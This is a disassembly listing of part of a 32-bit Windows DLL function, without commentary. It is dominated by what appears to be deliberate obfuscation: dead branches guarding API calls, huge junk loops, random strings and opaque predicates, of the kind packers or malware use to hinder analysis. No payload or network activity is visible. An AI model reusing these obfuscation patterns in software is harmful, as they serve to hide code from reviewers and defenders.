mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x10022ce3
jmp 0x10022cc1
jmp 0x10022c9b
push 0xc8a
push 0
push 0
push 0x1725
push 0x2697
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
lea ecx, [ebp - 0xb14]
call fcn.100047a9
mov dword [eax], 0xdad816f9
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x44c], 0x7a82
jge 0x10022d98
mov edx, dword [ebp - 0xa48]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x10022db4
mov dword [ebp - 4], 0xa
jmp 0x10022dc4
jmp 0x10022a0a
jmp 0x100229e0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb14]
call fcn.1000478d
mov dword [ebp - 0x28], 2
and dword [ebp - 0x154], 0
jmp 0x10022df5
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1a
jae 0x10023aad
mov dword [ebp - 0xb58], 1
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x10022e32
push 0x956
push 0x566
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x10022e58
push 0xb47
push 0x18ee
push 0xb
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x18c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x100231bd
mov dword [ebp - 0x770], 0x5e06
mov dword [ebp - 0xa58], str.takogcu_uzcmhdmjj_xhrohynxj_qveqxwv_amtzcw_xfasqd_isinxzuy_habh_kiabef_wbcacbj_epwdqh_bzpaci_lknsotb
cmp dword [ebp - 0x770], 0x5eba
jle 0x10022fa5
and dword [ebp - 0x204], 0
jmp 0x10022ead
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x6b86
jge 0x10022fa5
and dword [ebp - 0x1fc], 0
jmp 0x10022ed3
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x4793
jge 0x10022fa0
and dword [ebp - 0x2c4], 0
jmp 0x10022ef9
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x4643
jge 0x10022f9b
and dword [ebp - 0x348], 0
jmp 0x10022f1f
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x235a
jge 0x10022f96
mov eax, dword [ebp - 0x1fc]
imul eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x204]
sub ecx, eax
xor ecx, dword [ebp - 0x348]
mov eax, ecx
cdq
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0x8cc], edx
push dword [ebp - 0x8cc]
push dword [ebp - 0x8d0]
lea ecx, [ebp - 0xd98]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0xa50], eax
mov ecx, dword [ebp - 0xa50]
call fcn.1000446f
push eax
call fcn.10048743
pop ecx
lea ecx, [ebp - 0xd98]
call fcn.10004465
jmp 0x10022f12
jmp 0x10022eec
jmp 0x10022ec6
jmp 0x10022ea0
mov dword [ebp - 0x58], 0x125d16df
mov dword [ebp - 0x20c], 0
jmp 0x10022fc5
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 3
jge 0x10022fe1
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0xb84], 0xffffffff
jmp 0x10022fb8
mov dword [ebp - 0x58], 0
jmp 0x10022ff1
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jg 0x10023069
mov dword [ebp - 0x94], 0xfffffff7
mov dword [ebp - 0x94], 0
jmp 0x1002301a
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jg 0x10023034
mov eax, dword [ebp - 0x58]
cmp dword [ebp + eax*4 - 0xb84], 0
je 0x10023032
jmp 0x10023034
jmp 0x1002300d
mov dword [ebp - 0x94], 2
jmp 0x1002304d
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jl 0x10023067
mov eax, dword [ebp - 0x58]
cmp dword [ebp + eax*4 - 0xb84], 0
je 0x10023065
jmp 0x10023067
jmp 0x10023040
jmp 0x10022fea
mov dword [ebp - 0x58], 2
jmp 0x10023079
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jl 0x100230af
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x100230ad
push 0x10da
push 0x2242
push 0x1f1e
push 0x7a9
push 0
call dword [sym.imp.USER32.dll_SetRect]
jmp 0x10023072
mov dword [ebp - 4], 0xd
cmp dword [ebp - 0x770], 0x5bc8
jge 0x100230ce
push dword [ebp - 0xa58]
call fcn.10048743
pop ecx
jmp 0x100230ea
or dword [ebp - 4], 0xffffffff
jmp 0x100230f4
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x18c]
inc eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0xbc0], 0xfffffffb
mov dword [ebp - 0xb60], 0x5c184c50
mov dword [ebp - 0xbc8], 0x82bd7b1c
mov dword [ebp - 0xb68], 0
push 2
lea ecx, [ebp - 0xb94]
call fcn.10004730
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x454], 0x4d1878ab
mov dword [ebp - 0x2cc], 0
jmp 0x10023165
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 2
jge 0x10023187
push dword [ebp - 0x2cc]
lea ecx, [ebp - 0xb94]
call fcn.100047a9
mov dword [eax], 0x1bf2b299
jmp 0x10023158
mov eax, dword [ebp - 0x454]
dec eax
mov dword [ebp - 0x454], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb94]
call fcn.1000478d
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x18c]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x28], eax
jmp 0x10022ded
mov dword [ebp - 0xc8], 0xffb871c7
push 4
lea ecx, [ebp - 0x9d0]
call fcn.10004730
mov dword [ebp - 4], 0x10
mov dword [ebp - 0xf8], 0x434a938f
mov dword [ebp - 0x2c], 0
jmp 0x100231f5
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002320e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x9d0]
call fcn.100047a9
or dword [eax], 0xffffffff
jmp 0x100231ee
mov dword [ebp - 0x2c], 0
jmp 0x1002321e
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10023234
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xb20], 6
jmp 0x10023217
mov dword [ebp - 0x2c], 0
jmp 0x10023244
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002325a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc48], 0
jmp 0x1002323d
mov dword [ebp - 0xc8], 0xc64a6847
xor eax, eax
inc eax
sub eax, dword [ebp - 0xc8]
mov dword [ebp - 0x778], eax
push 1
lea ecx, [ebp - 0x9d0]
call fcn.100047a9
mov ecx, dword [ebp - 0x778]
mov dword [eax], ecx
cmp dword [ebp - 0x778], 0x39e22401
jg 0x100232a0
mov dword [ebp - 0x45c], 1
jmp 0x100232a7
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0x45c]
jg 0x100232c1
mov dword [ebp - 0xa0c], 1
jmp 0x100232c8
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xb78], eax
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0xc8]
jg 0x100232fa
mov dword [ebp - 0x780], 1
jmp 0x10023301
and dword [ebp - 0x780], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ebp - 0x780]
cmp ecx, dword [ebp + eax - 0xb20]
jl 0x10023329
mov dword [ebp - 0x464], 1
jmp 0x10023330
and dword [ebp - 0x464], 0
cmp dword [ebp - 0x464], 0xb6bd
jne 0x10023348
mov dword [ebp - 0x788], 1
jmp 0x1002334f
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x788], eax
jle 0x10023369
mov dword [ebp - 0x790], 1
jmp 0x10023370
and dword [ebp - 0x790], 0
cmp dword [ebp - 0x790], 0xfffffffb
jne 0x10023385
mov dword [ebp - 0x844], 1
jmp 0x1002338c
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xbd8], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xc48], 6
jb 0x100233b8
push 3
pop eax
test eax, eax
jne 0x100233b8
and dword [ebp - 0x634], 0
jmp 0x100233c2
mov dword [ebp - 0x634], 1
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0xf8], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xf8]
cmp ecx, dword [ebp + eax - 0xb20]
jne 0x100233ef
mov dword [ebp - 0x474], 1
jmp 0x100233f6
and dword [ebp - 0x474], 0
cmp dword [ebp - 0x474], 0x6ed55c5
je 0x10023420
push 0
lea ecx, [ebp - 0x9d0]
call fcn.100047a9
cmp dword [eax], 0
je 0x10023420
mov dword [ebp - 0x8a0], 1
jmp 0x10023427
and dword [ebp - 0x8a0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc48]
mov dword [ebp - 0xb88], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xc48], 0x54c3
jne 0x10023458
mov dword [ebp - 0x984], 1
jmp 0x1002345f
and dword [ebp - 0x984], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb20], 0
je 0x1002347a
mov dword [ebp - 0x7dc], 1
jmp 0x10023481
and dword [ebp - 0x7dc], 0
imul eax, dword [ebp - 0x7dc], 0x5265
cmp eax, 8
jg 0x1002349c
mov dword [ebp - 0x84c], 1
jmp 0x100234a3
and dword [ebp - 0x84c], 0
push 1
lea ecx, [ebp - 0x9d0]
call fcn.100047a9
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9d0]
call fcn.1000478d
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x154]
movzx eax, byte [ebp + eax - 0x18e]
movzx eax, word [ebp + eax*2 - 0xb3c]
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x18b]
and ecx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x154]
movzx eax, byte [ebp + eax - 0x18e]
movzx eax, word [ebp + eax*2 - 0xb3c]
mov edx, dword [ebp - 0x28]
movzx edx, byte [ebp + edx - 0x18b]
and edx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x154]
movzx eax, byte [ebp + eax - 0x18e]
movzx eax, word [ebp + eax*2 - 0xb3c]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebp + esi - 0x18b]
add esi, eax
sub esi, edx
sub esi, ecx
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x18c]
mov word [ebp + eax*2 - 0xb3c], si
mov dword [ebp - 0x44], 0xfebb6748
mov dword [ebp - 0x4c], 0xa6ff609d
mov dword [ebp - 0x12c], 0xffffffff
push 2
lea ecx, [ebp - 0x9e0]
call fcn.10004730
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x214], 0
jmp 0x10023595
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 2
jge 0x100235b7
push dword [ebp - 0x214]
lea ecx, [ebp - 0x9e0]
call fcn.100047a9
mov dword [eax], 9
jmp 0x10023588
cmp dword [ebp - 0x44], 0
jne 0x100235cd
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x100235cd
and dword [ebp - 0xa5c], 0
jmp 0x100235d7
mov dword [ebp - 0xa5c], 1
cmp dword [ebp - 0x44], 0
jne 0x100235e9
mov dword [ebp - 0x854], 1
jmp 0x100235f0
and dword [ebp - 0x854], 0
cmp dword [ebp - 0x44], 0x3cc47d1a
jg 0x10023605
mov dword [ebp - 0x98c], 1
jmp 0x1002360c
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xbe0], eax
cmp dword [ebp - 0x44], 0xc8d4
jge 0x1002362a
mov dword [ebp - 0x47c], 1
jmp 0x10023631
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x44]
jne 0x10023651
cmp dword [ebp - 0x44], 0
jne 0x10023651
and dword [ebp - 0x63c], 0
jmp 0x1002365b
mov dword [ebp - 0x63c], 1
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x63c]
jle 0x10023672
mov dword [ebp - 0x85c], 1
jmp 0x10023679
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x44]
test eax, eax
je 0x1002369f
cmp dword [ebp - 0x4c], 0
je 0x1002369f
cmp dword [ebp - 0x4c], 0
je 0x1002369f
mov dword [ebp - 0x484], 1
jmp 0x100236a6
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x484], eax
jg 0x100236bd
mov dword [ebp - 0x71c], 1
jmp 0x100236c4
and dword [ebp - 0x71c], 0
cmp dword [ebp - 0x71c], 0xffffffff
jb 0x100236d9
mov dword [ebp - 0x48c], 1
jmp 0x100236e0
and dword [ebp - 0x48c], 0
cmp dword [ebp - 0x48c], 0xaad9
jl 0x100236f8
mov dword [ebp - 0xa24], 1
jmp 0x100236ff
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xb98], eax
cmp dword [ebp - 0x4c], 0
je 0x100237d9
mov dword [ebp - 0x864], 0xfffffff9
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xbe8], eax
cmp dword [ebp - 0x4c], 9
jl 0x10023737
mov dword [ebp - 0x644], 1
jmp 0x1002373e
and dword [ebp - 0x644], 0
cmp dword [ebp - 0x644], 0xffffffff
jle 0x10023753
mov dword [ebp - 0x494], 1
jmp 0x1002375a
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0x494]
jle 0x1002377b
push 2
pop eax
test eax, eax
je 0x1002377b
mov dword [ebp - 0x78c], 1
jmp 0x10023782
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x864]
cmp dword [ebp - 0x78c], eax
jge 0x1002379c
mov dword [ebp - 0x49c], 1
jmp 0x100237a3
and dword [ebp - 0x49c], 0
cmp dword [ebp - 0x49c], 0x2b357f03
jl 0x100237c1
mov eax, 0xffff
test eax, eax
jne 0x100237c1
and dword [ebp - 0x64c], 0
jmp 0x100237cb
mov dword [ebp - 0x64c], 1
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0x4c], eax
jmp 0x10023a92
mov dword [ebp - 0x4a4], 1
push 3
lea ecx, [ebp - 0xa9c]
call fcn.10004730
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x5c], 0
jmp 0x10023804
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x1002381a
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0xd0], 0xfffffff9
jmp 0x100237fd
mov dword [ebp - 0x5c], 0
jmp 0x1002382a
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x10023846
push dword [ebp - 0x5c]
lea ecx, [ebp - 0xa9c]
call fcn.100047a9
mov dword [eax], 0xd6aeab66
jmp 0x10023823
mov dword [ebp - 0x12c], 0xfffffff2
jmp 0x1002385f
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x35
jl 0x1002387c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd0], 0
je 0x1002387a
jmp 0x1002387c
jmp 0x10023852
mov eax, 0xc8a251ab
test eax, eax
je 0x10023a45
cmp dword [ebp - 0x4a4], 0
jne 0x10023a08
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
cmp eax, dword [ebp - 0x4c]
jne 0x100238b4
mov dword [ebp - 0x38c], 1
jmp 0x100238bb
and dword [ebp - 0x38c], 0
push 0
lea ecx, [ebp - 0xa9c]
call fcn.100047a9
mov ecx, dword [ebp - 0x38c]
mov dword [eax], ecx
cmp dword [ebp - 0x38c], 0
jne 0x100238f2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd0], 0
jne 0x100238f2
and dword [ebp - 0x994], 0
jmp 0x100238fc
mov dword [ebp - 0x994], 1
push 1
lea ecx, [ebp - 0x9e0]
call fcn.100047a9
cmp dword [ebp - 0x4a4], 0xb6be
jle 0x1002392a
mov eax, 0x9a830f13
test eax, eax
je 0x1002392a
mov dword [ebp - 0x724], 1
jmp 0x10023931
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x724], eax
je 0x10023948
mov dword [ebp - 0x4ac], 1
jmp 0x1002394f
and dword [ebp - 0x4ac], 0
push 1
lea ecx, [ebp - 0x9e0]
call fcn.100047a9
mov ecx, dword [ebp - 0x4ac]
cmp ecx, dword [eax]
jle 0x10023972
mov dword [ebp - 0x654], 1
jmp 0x10023979
and dword [ebp - 0x654], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
cmp dword [ebp - 0x654], eax
jg 0x1002399a
mov dword [ebp - 0x4b4], 1
jmp 0x100239a1
and dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 0x8fc40126
jbe 0x100239b9
mov dword [ebp - 0x7d4], 1
jmp 0x100239c0
and dword [ebp - 0x7d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
cmp dword [ebp - 0x7d4], eax
jl 0x100239e1
mov dword [ebp - 0x4bc], 1
jmp 0x100239e8
and dword [ebp - 0x4bc], 0
push 1
lea ecx, [ebp - 0x9e0]
call fcn.100047a9
mov ecx, dword [ebp - 0x4bc]
cmp ecx, dword [eax]
jge 0x10023a08
and dword [ebp - 0x65c], 0
jmp 0x10023a12
mov dword [ebp - 0x65c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
cmp eax, dword [ebp - 0x65c]
jl 0x10023a45
push 0
lea ecx, [ebp - 0xa9c]
call fcn.100047a9
cmp dword [eax], 0
je 0x10023a45
mov dword [ebp - 0x4c4], 1
jmp 0x10023a4c
and dword [ebp - 0x4c4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [ebp + eax - 0xd0]
cmp ecx, 0x6add
jge 0x10023a73
mov dword [ebp - 0x72c], 1
jmp 0x10023a7a
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xa9c]
call fcn.1000478d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9e0]
call fcn.1000478d
and dword [ebp - 0x154], 0
jmp 0x10022ded
mov dword [ebp - 0x14], 0x6b8d9637
mov dword [ebp - 0x134], 0x42c78ef8
cmp dword [ebp - 0x14], 0
je 0x10023b25
cmp dword [ebp - 0x14], 0
jne 0x10023ae2
cmp dword [ebp - 0x14], 0
jne 0x10023ae2
mov eax, 0xf086
test eax, eax
jne 0x10023ae2
and dword [ebp - 0x4cc], 0
jmp 0x10023aec
mov dword [ebp - 0x4cc], 1
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x4cc], eax
jge 0x10023b03
mov dword [ebp - 0x86c], 1
jmp 0x10023b0a
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xbc4], eax
cmp dword [ebp - 0x14], 0
je 0x10023b25
mov dword [ebp - 0xa44], 1
jmp 0x10023b2c
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0x14]
neg eax
add eax, 0x13f5
cmp eax, dword [ebp - 0x14]
jl 0x10023b47
mov dword [ebp - 0x664], 1
jmp 0x10023b4e
and dword [ebp - 0x664], 0
cmp dword [ebp - 0x664], 0x7412
jg 0x10023b66
mov dword [ebp - 0x874], 1
jmp 0x10023b6d
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc18], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jge 0x10023b8a
mov dword [ebp - 0x99c], 1
jmp 0x10023b91
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jl 0x10023ba5
mov dword [ebp - 0x4d4], 1
jmp 0x10023bac
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x4d4], eax
jle 0x10023bc3
mov dword [ebp - 0x794], 1
jmp 0x10023bca
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x794], eax
jg 0x10023be1
mov dword [ebp - 0x4dc], 1
jmp 0x10023be8
and dword [ebp - 0x4dc], 0
cmp dword [ebp - 0x4dc], 0xffffffff
jg 0x10023bfd
mov dword [ebp - 0x66c], 1
jmp 0x10023c04
and dword [ebp - 0x66c], 0
cmp dword [ebp - 0x66c], 1
jae 0x10023c19
mov dword [ebp - 0x4e4], 1
jmp 0x10023c20
and dword [ebp - 0x4e4], 0
cmp dword [ebp - 0x4e4], 0x7ae9f903
jg 0x10023c38
mov dword [ebp - 0x734], 1
jmp 0x10023c3f
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x14], 0
jmp 0x10023c5b
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffed
jg 0x10023e42
mov dword [ebp - 0x134], 0
jmp 0x10023c7e
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x2b
jg 0x10023e3d
mov dword [ebp - 0x87c], 2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x87c], eax
mov byte [ebp - 0xa1], 0
mov dword [ebp - 0x4ec], 0x3f3f
mov dword [ebp - 0x884], str.ijgubwmq_gmt_qycvlbsy_sdffg
cmp dword [ebp - 0x4ec], 0x42fa
jle 0x10023dde
push 0xb6e
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
and dword [ebp - 0x2d4], 0
jmp 0x10023cec
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x10cb
jge 0x10023dde
and dword [ebp - 0x224], 0
jmp 0x10023d12
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x18ac
jge 0x10023dd9
and dword [ebp - 0x328], 0
jmp 0x10023d38
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x10fb
jge 0x10023dd4
and dword [ebp - 0x21c], 0
jmp 0x10023d5e
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x6e3
jge 0x10023dcf
mov eax, dword [ebp - 0x328]
add eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x2d4]
add ecx, dword [ebp - 0x224]
and eax, ecx
cdq
mov dword [ebp - 0x8dc], eax
mov dword [ebp - 0x8d8], edx
push dword [ebp - 0x8d8]
push dword [ebp - 0x8dc]
lea ecx, [ebp - 0xd20]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0xa2c], eax
mov ecx, dword [ebp - 0xa2c]
call fcn.1000446f
push eax
call fcn.10048743
pop ecx
lea ecx, [ebp - 0xd20]
call fcn.10004465
jmp 0x10023d51
jmp 0x10023d2b
jmp 0x10023d05
jmp 0x10023cdf
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x10023df3
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov dword [ebp - 4], 0x13
cmp dword [ebp - 0x4ec], 0x3c3f
jge 0x10023e12
push dword [ebp - 0x884]
call fcn.10048743
pop ecx
jmp 0x10023e2e
or dword [ebp - 4], 0xffffffff
jmp 0x10023e38
jmp 0x10023c71
jmp 0x10023c54
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xb3c], cx
mov dword [ebp - 0x340], 0x68ec0ae9
mov byte [ebp - 0xe2], 0
movzx eax, byte [ebp - 0xe2]
test eax, eax
je 0x10023e84
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
mov dword [ebp - 0x340], 0
jmp 0x10023e9d
mov eax, dword [ebp - 0x340]
dec eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0xffffffff
jle 0x10023ec4
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x10023ec2
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
jmp 0x10023e90
lea eax, [ebp - 0xb3c]
push eax
lea ecx, [ebp - 0xcd8]
call fcn.100101fe
mov dword [ebp - 0x9a4], eax
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x88c], eax
mov dword [ebp - 4], 0x15
push dword [ebp - 0x88c]
call fcn.1001e3c3
pop ecx
mov dword [ebp - 0x678], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcd8]
call fcn.100045df
mov dword [ebp - 0x9c], 0x2e91a049
mov dword [ebp - 0x674], 0xfffffff9
mov dword [ebp - 0x894], 1
mov byte [ebp - 0xe4], 0
movzx eax, byte [ebp - 0xe4]
test eax, eax
je 0x10023f60
push 0
push 0x2634
push 0x8d4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
mov dword [ebp - 0x9c], 0
jmp 0x10023f79
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x14
je 0x10024085
mov dword [ebp - 0x168], 0xc88eb987
mov dword [ebp - 0x4fc], 0x9f23e525
mov dword [ebp - 0xa54], 0xfffffffd
mov eax, dword [ebp - 0x168]
sub eax, dword [ebp - 0x9c]
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x674]
cmp eax, dword [ebp - 0x9c]
jle 0x10023fd0
mov dword [ebp - 0x67c], 1
jmp 0x10023fd7
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x168], 3
jbe 0x10023fec
mov dword [ebp - 0x4f4], 1
jmp 0x10023ff3
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x168]
cmp dword [ebp - 0x4f4], eax
jg 0x1002400d
mov dword [ebp - 0x7e4], 1
jmp 0x10024014
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x4fc], eax
mov eax, dword [ebp - 0x4fc]
cmp dword [ebp - 0x67c], eax
jle 0x1002403a
mov dword [ebp - 0x504], 1
jmp 0x10024041
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x504]
sub eax, dword [ebp - 0x168]
add eax, dword [ebp - 0xa54]
add eax, dword [ebp - 0x168]
cmp eax, dword [ebp - 0x9c]
jg 0x1002406d
mov dword [ebp - 0x73c], 1
jmp 0x10024074
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x894], eax
jmp 0x10023f6c
and dword [ebp - 0x22c], 0
jmp 0x1002409b
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0xd
jae 0x10024354
mov dword [ebp - 0xd8], 0x10c93b4e
mov dword [ebp - 0x118], 0x60016488
mov dword [ebp - 0x694], 0x8e00457a
mov dword [ebp - 0x89c], 0x942c3b03
mov dword [ebp - 0x7ec], 0xc9e4a043
mov dword [ebp - 0xd8], 0
jmp 0x100240f3
